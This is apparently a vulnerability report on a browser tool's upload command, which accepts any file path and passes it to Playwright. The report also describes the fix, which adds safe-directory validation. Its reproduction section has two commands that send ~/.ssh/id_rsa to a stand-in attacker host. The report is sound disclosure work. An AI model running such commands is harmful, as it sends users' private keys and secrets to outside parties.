Summary
The upload command in browse/src/write-commands.ts:248 accepts any file path and passes it to Playwright's setInputFiles() after only an fs.existsSync() check. No safe-directory restriction. An attacker-controlled page receiving the upload can exfiltrate arbitrary files (e.g., ~/.ssh/id_rsa, ~/.env).
Reproduction
$B goto https://attacker.com/upload-form
$B upload @e1 ~/.ssh/id_rsa # file contents sent to attacker
Severity
Critical — direct file exfiltration to a remote page. Other commands (cookie-import, eval, screenshot) all validate paths; upload was missed.
Fix
PR #664 adds realpathSync-based safe-directory validation and uses the resolved path for the actual setInputFiles call (eliminating TOCTOU gap caught by Codex review).
Found via sqry AST-based semantic code graph analysis.